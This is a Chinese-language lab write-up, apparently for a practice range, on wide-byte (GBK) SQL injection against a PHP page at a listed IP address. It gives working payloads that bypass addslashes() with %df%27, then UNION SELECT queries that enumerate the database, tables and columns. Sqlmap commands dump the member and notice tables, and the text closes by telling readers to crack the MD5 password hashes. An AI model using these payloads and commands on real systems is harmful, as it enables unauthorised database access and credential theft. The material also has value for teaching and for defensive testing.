简单概述宽字节注入:
源于程序员设置数据库编码与php编码设置为不同的两个编码产生。主要宽字节gbk
实例说话,先手工注入,使用工具为hackbar
靶场http://219.153.49.228:43797/new_list.php?id=1
先来个判断id=1’,发现正常,看来被过滤,用的函数是addslashes(),只需要绕过\这个反斜杠就行,使用id=1%df%27,你要学的话就要去了解以下各种字节和编码
http://219.153.49.228:43797/new_list.php?id=1%df%27
接下来要有回显点,必须使页面报错,并查询字段,且注释后面代码
http://219.153.49.228:43797/new_list.php?id=1%df%27 order by 5%23
order by 6%23(不正常)所以为5
接下来查询库名,通过库名去查找其相应的表名,对小白来说,其中你看不懂得那些英文字母都是数据库自带得参数。
http://219.153.49.228:43797/new_list.php?id=1%df%27 union select 1,2,3,4,database()
接下来是表名
http://219.153.49.228:43797/new_list.php?id=1%df%27 union select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema=database()%23
接下来是列名
http://219.153.49.228:43797/new_list.php?id=1%df%27 union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_schema=0x73746f726d67726f75705f6d656d626572%23
这里要注意:0x73746f726d67726f75705f6d656d626572,这个是十六进制转换,别处可学不到,这里的原因是为了让数据库识别
接下来查看name列中的信息
id=-1%df%27%20union%20select 1,2,3,4,select group_concat(name) from stormgroup_member%23
Sqlmap自动注入:
使用的是kali2019和sqlmap工具
判断是否可注入
sqlmap -u http://219.153.49.228:43797/new_list.php?id=1%df%27
sqlmap -u http://219.153.49.228:43033/new_list.php?id=-1%df%27 --hex
换成windows下的
python sqlmap.py -u http://219.153.49.228:43033/new_list.php?id=-1%df%27 --hex --dbs
python sqlmap.py -u http://219.153.49.228:43033/new_list.php?id=-1%df%27 --hex -D stormgroup --tables
python sqlmap.py -u http://219.153.49.228:43033/new_list.php?id=-1%df%27 --hex -D stormgroup -T member,notice --dump
OK拿去md5解以下密